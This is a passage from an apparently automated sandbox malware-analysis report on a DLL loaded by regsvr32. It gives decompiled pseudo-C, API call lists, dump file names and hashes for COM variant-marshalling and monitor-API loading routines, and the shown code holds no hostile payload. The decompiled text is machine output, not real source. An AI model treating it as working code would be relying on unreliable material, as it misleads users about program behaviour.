						}
						__eflags =  *(_t322 + 0xc) & 0x0000000c;
						 *((intOrPtr*)(_t322 - 0x20)) = 0xfffffffd;
						if(( *(_t322 + 0xc) & 0x0000000c) != 0) {
							 *((intOrPtr*)(_t322 - 0x48)) = 1;
							 *((intOrPtr*)(_t322 - 0x50)) = _t322 - 0x20;
						}
						 *((intOrPtr*)(_t322 - 0x68)) = 0x6eb7c160;
						 *((intOrPtr*)(_t322 - 0x64)) = _t268;
						 *((intOrPtr*)(_t322 - 0x58)) = _t268;
						 *((intOrPtr*)(_t322 - 0x5c)) = _t268;
						 *((intOrPtr*)(_t322 - 0x60)) = _t268;
						_t201 =  *(_t322 - 0x4c);
						 *(_t322 - 4) = 1;
						_t313 = 4;
						__eflags =  *(_t322 - 0x4c) - _t268;
						if(__eflags != 0) {
							_t306 = 0x10;
							_t320 = E6EB47C96(__eflags,  ~(0 | __eflags > 0x00000000) | _t201 * _t306);
							 *((intOrPtr*)(_t322 - 0x54)) = _t320;
							E6EB65E80(_t313, _t320, _t268,  *(_t322 - 0x4c) << 4);
							_t244 =  *(_t322 + 0x18);
							_t290 =  *(_t322 - 0x4c) << 4;
							_t324 = _t324 + 0x10;
							__eflags =  *_t244;
							_t42 = _t290 - 0x10; // -16
							_t291 = _t320 + _t42;
							 *(_t322 - 0x14) = _t244;
							 *(_t322 - 0x10) = _t291;
							if( *_t244 != 0) {
								_t245 =  *(_t322 + 0x1c);
								_t269 = _t245 - 4;
								_t47 =  &(_t291[4]); // -8
								_t321 = _t47;
								_t246 = _t245 + 0xfffffff8;
								__eflags = _t246;
								 *(_t322 - 0x1c) = _t321;
								 *(_t322 + 0x1c) = _t246;
								do {
									_t248 =  *( *(_t322 - 0x14)) & 0x000000ff;
									 *_t291 = _t248;
									__eflags = _t248 & 0x00000040;
									if((_t248 & 0x00000040) != 0) {
										_t261 = _t248 & 0x0000ffbf | 0x00004000;
										__eflags = _t261;
										 *_t291 = _t261;
									}
									_t249 =  *_t291 & 0x0000ffff;
									__eflags = _t249 - 0x4002;
									if(__eflags > 0) {
										_t250 = _t249 - 0x4003;
										__eflags = _t250 - 0x12;
										if(_t250 <= 0x12) {
											switch( *((intOrPtr*)(_t250 * 4 +  &M6EB627A7))) {
												case 0:
													goto L42;
												case 1:
													 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
													_t269 = _t269 + _t313;
													_t252 =  *_t269;
													asm("sbb ecx, ecx");
													 *_t252 =  ~( *_t252) & 0x0000ffff;
													 *_t321 = _t252;
													_t253 = E6EB610FD(_t322 - 0x34, _t252, _t252, 0);
													 *(_t322 - 4) = 3;
													E6EB6159D(_t322 - 0x68, _t253);
													__eflags =  *(_t322 - 0x2c);
													 *(_t322 - 4) = 1;
													if(__eflags != 0) {
														E6EB47CD0(_t269, _t313, _t321, __eflags,  *((intOrPtr*)(_t322 - 0x34)));
													}
													goto L43;
												case 2:
													goto L43;
											}
										}
									} else {
										if(__eflags == 0) {
											L42:
											 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
											_t269 = _t269 + _t313;
											__eflags = _t269;
											 *_t321 =  *_t269;
										} else {
											_t258 = _t249;
											__eflags = _t258 - 0x13;
											if(__eflags <= 0) {
												switch( *((intOrPtr*)(_t258 * 4 +  &M6EB62757))) {
													case 0:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__ax =  *__ebx;
														goto L36;
													case 1:
														goto L42;
													case 2:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 3:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 4:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														goto L25;
													case 5:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														 *(__ebp - 0x1c) = __eax;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																goto L31;
															}
														}
														goto L43;
													case 6:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														 *__ebx =  ~( *__ebx);
														asm("sbb eax, eax");
														L36:
														 *__esi = __ax;
														goto L43;
													case 7:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
														__edi =  *(__ebp - 0x10);
														__ebx = __ebx + 4;
														__esi =  *__ebx;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														__esi =  *(__ebp - 0x1c);
														_push(4);
														_pop(__edi);
														goto L43;
													case 8:
														L32:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														__ecx = __ebp - 0x18;
														 *(__ebp - 0x1c) = __eax;
														__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
														_push( *(__ebp - 0x18));
														 *((char*)(__ebp - 4)) = 2;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																L31:
																__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
																goto L32;
															}
														}
														__ecx =  *(__ebp - 0x10);
														_push(8);
														_pop(__eax);
														 *( *(__ebp - 0x10)) = __ax;
														__ecx =  *(__ebp - 0x18);
														__ecx =  *(__ebp - 0x18) + 0xfffffff0;
														 *((char*)(__ebp - 4)) = 1;
														__eax = E6EB41020(__ecx, __edx);
														goto L43;
													case 9:
														goto L43;
													case 0xa:
														 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
														_t269 = _t269 + _t313;
														 *_t321 =  *_t269;
														goto L43;
													case 0xb:
														__eax =  *(__ebp + 0x1c);
														__eax =  *(__ebp + 0x1c) + 8;
														 *(__ebp + 0x1c) = __eax;
														__ebx = __ebx + 8;
														__eflags = __ebx;
														L25:
														__ecx =  *__eax;
														 *__esi = __ecx;
														__esi[1] = __eax;
														goto L43;
												}
											}
										}
									}
									L43:
									_t291 =  *(_t322 - 0x10) - 0x10;
									_t321 = _t321 - 0x10;
									 *(_t322 - 0x14) =  &(( *(_t322 - 0x14))[1]);
									__eflags =  *( *(_t322 - 0x14));
									 *(_t322 - 0x10) = _t291;
									 *(_t322 - 0x1c) = _t321;
								} while ( *( *(_t322 - 0x14)) != 0);
								_t268 = 0;
								__eflags = 0;
							}
						}
						_t318 = 0;
						E6EB54FBE(_t322 - 0x44);
						__eflags =  *(_t322 + 0x10) - _t268;
						if( *(_t322 + 0x10) != _t268) {
							_t318 = _t322 - 0x44;
						}
						E6EB65E80(_t313, _t322 - 0x88, _t268, 0x20);
						 *(_t322 - 0x28) =  *(_t322 - 0x28) | 0xffffffff;
						_t305 = _t322 - 0x54;
						 *(_t322 + 0xc) =  *((intOrPtr*)( *( *( *(_t322 - 0x24))) + 0x18))(_t318, _t322 - 0x88, _t322 - 0x28);
						E6EB62211(_t268, _t322 - 0x68, _t313, _t318,  *( *(_t322 - 0x24)),  *((intOrPtr*)(_t322 + 8)), 0x6eb7e0f4, _t268,  *(_t322 + 0xc), _t322 - 0x54);
						_t210 =  *(_t322 - 0x4c);
						__eflags = _t210 - _t268;
						if(__eflags != 0) {
							_t318 =  *(_t322 + 0x18);
							_t313 = (_t210 << 4) +  *((intOrPtr*)(_t322 - 0x54)) - 0x10;
							while(1) {
								__eflags =  *_t318;
								if(__eflags == 0) {
									goto L54;
								}
								_t238 =  *_t318;
								__eflags = _t238 - 8;
								if(_t238 == 8) {
									L51:
									__imp__#9(_t313);
								} else {
									__eflags = _t238 - 0xe;
									if(_t238 == 0xe) {
										goto L51;
									}
								}
								_t313 = _t313 - 0x10;
								_t318 = _t318 + 1;
								__eflags = _t318;
							}
						}
						L54:
						E6EB47CD0(_t268, _t313, _t318, __eflags,  *((intOrPtr*)(_t322 - 0x54)));
						__eflags =  *(_t322 + 0xc) - _t268;
						 *((intOrPtr*)(_t322 - 0x54)) = _t268;
						if( *(_t322 + 0xc) < _t268) {
							__imp__#9(_t322 - 0x44);
							__eflags =  *(_t322 + 0xc) - 0x80020009;
							if(__eflags != 0) {
								_push( *(_t322 + 0xc));
								L57:
								E6EB48DE3(_t268, _t313, _t318, __eflags);
							}
							__eflags =  *((intOrPtr*)(_t322 - 0x70)) - _t268;
							if(__eflags != 0) {
								 *((intOrPtr*)(_t322 - 0x70))(_t322 - 0x88);
							}
							_t219 = E6EB47C96(__eflags, 0x20);
							 *((intOrPtr*)(_t322 + 0x14)) = _t219;
							 *(_t322 - 4) = 4;
							__eflags = _t219 - _t268;
							if(__eflags != 0) {
								_push( *((intOrPtr*)(_t322 - 0x88)));
								_push(_t268);
								_push(_t268);
								_t268 = E6EB61C50(_t268, _t219, _t305, _t313, _t318, __eflags);
							}
							_t314 = __imp__#7;
							 *(_t322 - 4) = 1;
							_t220 =  *_t314( *((intOrPtr*)(_t322 - 0x84)));
							__eflags = _t220;
							if(_t220 != 0) {
								_t144 = _t268 + 0x18; // 0x18
								E6EB48F80(_t268, _t144,  *((intOrPtr*)(_t322 - 0x84)));
							}
							_t319 = __imp__#6;
							 *_t319( *((intOrPtr*)(_t322 - 0x84)));
							_t222 =  *_t314( *((intOrPtr*)(_t322 - 0x80)));
							__eflags = _t222;
							if(_t222 != 0) {
								_t148 = _t268 + 0xc; // 0xc
								E6EB48F80(_t268, _t148,  *((intOrPtr*)(_t322 - 0x80)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x80)));
							_t224 =  *_t314( *((intOrPtr*)(_t322 - 0x7c)));
							__eflags = _t224;
							if(_t224 != 0) {
								_t152 = _t268 + 0x14; // 0x14
								E6EB48F80(_t268, _t152,  *((intOrPtr*)(_t322 - 0x7c)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x7c)));
							 *((intOrPtr*)(_t268 + 0x10)) =  *((intOrPtr*)(_t322 - 0x78));
							 *((intOrPtr*)(_t268 + 0x1c)) =  *((intOrPtr*)(_t322 - 0x6c));
							 *((intOrPtr*)(_t322 + 0x14)) = _t268;
							E6EB667FC(_t322 + 0x14, 0x6eb84f9c);
						}
						_t318 =  *(_t322 + 0x10);
						__eflags = _t318 - _t268;
						if(_t318 != _t268) {
							__eflags = _t318 - 0xc;
							if(_t318 == 0xc) {
								L73:
								_t214 = (_t318 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t214 - 0x13;
								if(_t214 <= 0x13) {
									switch( *((intOrPtr*)(_t214 * 4 +  &M6EB627F3))) {
										case 0:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 1:
											__eax =  *(__ebp + 0x14);
											__ecx =  *(__ebp - 0x3c);
											 *( *(__ebp + 0x14)) = __ecx;
											goto L84;
										case 2:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 3:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 4:
											__ecx =  *(__ebp - 0x3c);
											__eax =  *(__ebp + 0x14);
											 *__eax =  *(__ebp - 0x3c);
											__ecx =  *(__ebp - 0x38);
											 *(__eax + 4) = __ecx;
											goto L84;
										case 5:
											__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
											_push( *(__ebp - 0x3c));
											__imp__#6();
											goto L84;
										case 6:
											__ecx =  *(__ebp + 0x14);
											__eax = 0;
											__eflags =  *(__ebp - 0x3c) - __bx;
											__eax = 0 | __eflags != 0x00000000;
											 *__ecx = __eflags != 0;
											goto L84;
										case 7:
											__edi =  *(__ebp + 0x14);
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L84;
										case 8:
											goto L84;
										case 9:
											 *((char*)( *((intOrPtr*)(_t322 + 0x14)))) =  *((intOrPtr*)(_t322 - 0x3c));
											goto L84;
									}
								}
							} else {
								_t216 = _t322 - 0x44;
								__imp__#12(_t216, _t216, _t268, _t318);
								_t313 = _t216;
								__eflags = _t313 - _t268;
								if(__eflags >= 0) {
									goto L73;
								} else {
									__imp__#9(_t322 - 0x44);
									_push(_t313);
									goto L57;
								}
							}
						}
						L84:
						 *(_t322 - 4) = 0;
						E6EB61464(_t322 - 0x68);
						_t190 = _t322 - 4;
						 *_t190 =  *(_t322 - 4) | 0xffffffff;
						__eflags =  *_t190;
						_t197 = E6EB621DD(_t322 - 0x54);
					}
					return E6EB665D3(_t197);
				}
				L86:
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB62589
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630
SysFreeString.OLEAUT32(?), ref: 6EB62644
SysStringLen.OLEAUT32(?), ref: 6EB62649
SysFreeString.OLEAUT32(?), ref: 6EB6265D
__CxxThrowException@8.LIBCMT ref: 6EB62677
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 6EB62695
VariantClear.OLEAUT32(?), ref: 6EB626A5

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String$Variant$ClearFree_memset$ChangeException@8H_prolog3ThrowTypelstrlen
String ID:
API String ID: 4128688680-0
Opcode ID: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction ID: 5d03c207a779ab8ea8d9782a538db74713ee884ce4c098d607bb9de74e88ece7
Opcode Fuzzy Hash: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction Fuzzy Hash: F502797190028ADFEF10CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A0A9 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 78
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6EB4A0A9() {
				void* __ebx;
				void* __esi;
				void* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				signed int _t16;
				signed int _t17;
				struct HINSTANCE__* _t19;
				void* _t21;
				void* _t24;
				void* _t25;

				_t17 = _t16 ^ _t16;
				_t24 =  *0x6eb8c534 - _t17; // 0x0
				if(_t24 == 0) {
					_push(_t21);
					 *0x6eb8c538 = E6EB4A04F(_t17, _t21, __eflags);
					_t19 = GetModuleHandleA("USER32");
					__eflags = _t19 - _t17;
					if(_t19 == _t17) {
						L12:
						 *0x6eb8c518 = _t17;
						 *0x6eb8c51c = _t17;
						 *0x6eb8c520 = _t17;
						 *0x6eb8c524 = _t17;
						 *0x6eb8c528 = _t17;
						 *0x6eb8c52c = _t17;
						 *0x6eb8c530 = _t17;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t19, "GetSystemMetrics");
						 *0x6eb8c518 = _t6;
						__eflags = _t6 - _t17;
						if(_t6 == _t17) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t19, "MonitorFromWindow");
							 *0x6eb8c51c = _t7;
							__eflags = _t7 - _t17;
							if(_t7 == _t17) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t19, "MonitorFromRect");
								 *0x6eb8c520 = _t8;
								__eflags = _t8 - _t17;
								if(_t8 == _t17) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t19, "MonitorFromPoint");
									 *0x6eb8c524 = _t9;
									__eflags = _t9 - _t17;
									if(_t9 == _t17) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t19, "EnumDisplayMonitors");
										 *0x6eb8c52c = _t10;
										__eflags = _t10 - _t17;
										if(_t10 == _t17) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t19, "GetMonitorInfoA");
											 *0x6eb8c528 = _t11;
											__eflags = _t11 - _t17;
											if(_t11 == _t17) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t19, "EnumDisplayDevicesA");
												 *0x6eb8c530 = _t12;
												__eflags = _t12 - _t17;
												if(_t12 == _t17) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x6eb8c534 = 1;
					return _t5;
				} else {
					_t25 =  *0x6eb8c528 - _t17; // 0x0
					return 0 | _t25 != 0x00000000;
				}
			}

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,73FD5D80,6EB4A1FE,?,?,?,?,?,?,?,6EB4C21A,00000000,00000002,00000028), ref: 6EB4A0D4
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 6EB4A0F0
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6EB4A101
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 6EB4A112
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 6EB4A123
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 6EB4A134
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 6EB4A145
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 6EB4A156

Strings

EnumDisplayMonitors, xrefs: 6EB4A12E
GetMonitorInfoA, xrefs: 6EB4A13F
MonitorFromPoint, xrefs: 6EB4A11D
GetSystemMetrics, xrefs: 6EB4A0EA
EnumDisplayDevicesA, xrefs: 6EB4A150
MonitorFromRect, xrefs: 6EB4A10C
MonitorFromWindow, xrefs: 6EB4A0FB
USER32, xrefs: 6EB4A0CA

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction ID: a1cf5facc85f5137f9e0641c9a213effc9cb49900bb16edb89566da66feb22b5
Opcode Fuzzy Hash: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction Fuzzy Hash: 85212CF69146929F9F11AFF58CD54AB3EE9A35B2103115A3FD151DFB00E730A442AF42

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6226B Relevance: 27.4, APIs: 18, Instructions: 402
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6EB6226B(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t188;
				signed int _t201;
				signed int _t205;
				void* _t207;
				intOrPtr _t210;
				char _t229;
				CHAR* _t235;
				intOrPtr _t236;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t249;
				signed int _t256;
				signed int _t257;
				signed int _t276;
				signed short* _t277;
				signed int _t289;
				void* _t292;
				intOrPtr* _t293;
				CHAR* _t295;
				intOrPtr* _t296;
				intOrPtr _t297;
				signed short* _t298;
				void* _t299;
				void* _t300;
				void* _t301;
				void* _t312;

				_push(0x7c);
				_t188 = E6EB664FB(0x6eb7849c, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t299 - 0x24)) = __ecx;
				_t256 = 0;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L77:
					return E6EB665D3(_t188);
				}
				 *((intOrPtr*)(_t299 - 0x54)) = 0;
				 *((intOrPtr*)(_t299 - 0x50)) = 0;
				 *(_t299 - 0x4c) = 0;
				 *((intOrPtr*)(_t299 - 0x48)) = 0;
				 *(_t299 - 4) = 0;
				E6EB65E80(__edi, _t299 - 0x54, 0, 0x10);
				_t301 = _t300 + 0xc;
				if( *(_t299 + 0x18) != 0) {
					 *(_t299 - 0x4c) = lstrlenA( *(_t299 + 0x18));
				}
				 *((intOrPtr*)(_t299 - 0x20)) = 0xfffffffd;
				if(( *(_t299 + 0xc) & 0x0000000c) != 0) {
					 *((intOrPtr*)(_t299 - 0x48)) = 1;
					 *((intOrPtr*)(_t299 - 0x50)) = _t299 - 0x20;
				}
				 *((intOrPtr*)(_t299 - 0x68)) = 0x6eb7c160;
				 *((intOrPtr*)(_t299 - 0x64)) = _t256;
				 *((intOrPtr*)(_t299 - 0x58)) = _t256;
				 *((intOrPtr*)(_t299 - 0x5c)) = _t256;
				 *((intOrPtr*)(_t299 - 0x60)) = _t256;
				_t192 =  *(_t299 - 0x4c);
				 *(_t299 - 4) = 1;
				_t292 = 4;
				_t307 =  *(_t299 - 0x4c) - _t256;
				if( *(_t299 - 0x4c) == _t256) {
					L37:
					_t295 = 0;
					E6EB54FBE(_t299 - 0x44);
					if( *(_t299 + 0x10) != _t256) {
						_t295 = _t299 - 0x44;
					}
					E6EB65E80(_t292, _t299 - 0x88, _t256, 0x20);
					 *(_t299 - 0x28) =  *(_t299 - 0x28) | 0xffffffff;
					_t288 = _t299 - 0x54;
					 *(_t299 + 0xc) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))))) + 0x18))(_t295, _t299 - 0x88, _t299 - 0x28);
					E6EB62211(_t256, _t299 - 0x68, _t292, _t295,  *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))),  *((intOrPtr*)(_t299 + 8)), 0x6eb7e0f4, _t256,  *(_t299 + 0xc), _t299 - 0x54);
					_t201 =  *(_t299 - 0x4c);
					if(_t201 == _t256) {
						L46:
						E6EB47CD0(_t256, _t292, _t295, _t318,  *((intOrPtr*)(_t299 - 0x54)));
						 *((intOrPtr*)(_t299 - 0x54)) = _t256;
						if( *(_t299 + 0xc) >= _t256) {
							L61:
							_t295 =  *(_t299 + 0x10);
							if(_t295 == _t256) {
								L76:
								 *(_t299 - 4) = 0;
								E6EB61464(_t299 - 0x68);
								_t184 = _t299 - 4;
								 *_t184 =  *(_t299 - 4) | 0xffffffff;
								__eflags =  *_t184;
								_t188 = E6EB621DD(_t299 - 0x54);
								goto L77;
							}
							if(_t295 == 0xc) {
								L65:
								_t205 = (_t295 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t205 - 0x13;
								if(_t205 > 0x13) {
									goto L76;
								}
								switch( *((intOrPtr*)(_t205 * 4 +  &M6EB627F3))) {
									case 0:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 1:
										__eax =  *(__ebp + 0x14);
										__ecx =  *(__ebp - 0x3c);
										 *( *(__ebp + 0x14)) = __ecx;
										goto L76;
									case 2:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 3:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 4:
										__ecx =  *(__ebp - 0x3c);
										__eax =  *(__ebp + 0x14);
										 *__eax =  *(__ebp - 0x3c);
										__ecx =  *(__ebp - 0x38);
										 *(__eax + 4) = __ecx;
										goto L76;
									case 5:
										__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
										_push( *(__ebp - 0x3c));
										__imp__#6();
										goto L76;
									case 6:
										__ecx =  *(__ebp + 0x14);
										__eax = 0;
										__eflags =  *(__ebp - 0x3c) - __bx;
										__eax = 0 | __eflags != 0x00000000;
										 *__ecx = __eflags != 0;
										goto L76;
									case 7:
										__edi =  *(__ebp + 0x14);
										__esi = __ebp - 0x44;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										goto L76;
									case 8:
										goto L76;
									case 9:
										 *((char*)( *((intOrPtr*)(_t299 + 0x14)))) =  *((intOrPtr*)(_t299 - 0x3c));
										goto L76;
								}
							}
							_t207 = _t299 - 0x44;
							__imp__#12(_t207, _t207, _t256, _t295);
							_t292 = _t207;
							_t320 = _t292 - _t256;
							if(_t292 >= _t256) {
								goto L65;
							}
							__imp__#9(_t299 - 0x44);
							_push(_t292);
							L49:
							E6EB48DE3(_t256, _t292, _t295, _t320);
							L50:
							_t321 =  *((intOrPtr*)(_t299 - 0x70)) - _t256;
							if( *((intOrPtr*)(_t299 - 0x70)) != _t256) {
								 *((intOrPtr*)(_t299 - 0x70))(_t299 - 0x88);
							}
							_t210 = E6EB47C96(_t321, 0x20);
							 *((intOrPtr*)(_t299 + 0x14)) = _t210;
							 *(_t299 - 4) = 4;
							_t322 = _t210 - _t256;
							if(_t210 != _t256) {
								_push( *((intOrPtr*)(_t299 - 0x88)));
								_push(_t256);
								_push(_t256);
								_t256 = E6EB61C50(_t256, _t210, _t288, _t292, _t295, _t322);
							}
							_push( *((intOrPtr*)(_t299 - 0x84)));
							_t293 = __imp__#7;
							 *(_t299 - 4) = 1;
							if( *_t293() != 0) {
								_t138 = _t256 + 0x18; // 0x18
								E6EB48F80(_t256, _t138,  *((intOrPtr*)(_t299 - 0x84)));
							}
							_t296 = __imp__#6;
							 *_t296( *((intOrPtr*)(_t299 - 0x84)));
							_push( *((intOrPtr*)(_t299 - 0x80)));
							if( *_t293() != 0) {
								_t142 = _t256 + 0xc; // 0xc
								E6EB48F80(_t256, _t142,  *((intOrPtr*)(_t299 - 0x80)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x80)));
							_push( *((intOrPtr*)(_t299 - 0x7c)));
							if( *_t293() != 0) {
								_t146 = _t256 + 0x14; // 0x14
								E6EB48F80(_t256, _t146,  *((intOrPtr*)(_t299 - 0x7c)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x7c)));
							 *((intOrPtr*)(_t256 + 0x10)) =  *((intOrPtr*)(_t299 - 0x78));
							 *((intOrPtr*)(_t256 + 0x1c)) =  *((intOrPtr*)(_t299 - 0x6c));
							 *((intOrPtr*)(_t299 + 0x14)) = _t256;
							E6EB667FC(_t299 + 0x14, 0x6eb84f9c);
							goto L61;
						}
						__imp__#9(_t299 - 0x44);
						_t320 =  *(_t299 + 0xc) - 0x80020009;
						if( *(_t299 + 0xc) == 0x80020009) {
							goto L50;
						}
						_push( *(_t299 + 0xc));
						goto L49;
					} else {
						_t295 =  *(_t299 + 0x18);
						_t292 = (_t201 << 4) +  *((intOrPtr*)(_t299 - 0x54)) - 0x10;
						while(1) {
							_t318 =  *_t295;
							if( *_t295 == 0) {
								goto L46;
							}
							_t229 =  *_t295;
							__eflags = _t229 - 8;
							if(_t229 == 8) {
								L43:
								__imp__#9(_t292);
								L44:
								_t292 = _t292 - 0x10;
								_t295 =  &(_t295[1]);
								__eflags = _t295;
								continue;
							}
							__eflags = _t229 - 0xe;
							if(_t229 != 0xe) {
								goto L44;
							}
							goto L43;
						}
						goto L46;
					}
				} else {
					_t289 = 0x10;
					_t297 = E6EB47C96(_t307,  ~(0 | _t307 > 0x00000000) | _t192 * _t289);
					 *((intOrPtr*)(_t299 - 0x54)) = _t297;
					E6EB65E80(_t292, _t297, _t256,  *(_t299 - 0x4c) << 4);
					_t235 =  *(_t299 + 0x18);
					_t276 =  *(_t299 - 0x4c) << 4;
					_t301 = _t301 + 0x10;
					_t36 = _t276 - 0x10; // -16
					_t277 = _t297 + _t36;
					 *(_t299 - 0x14) = _t235;
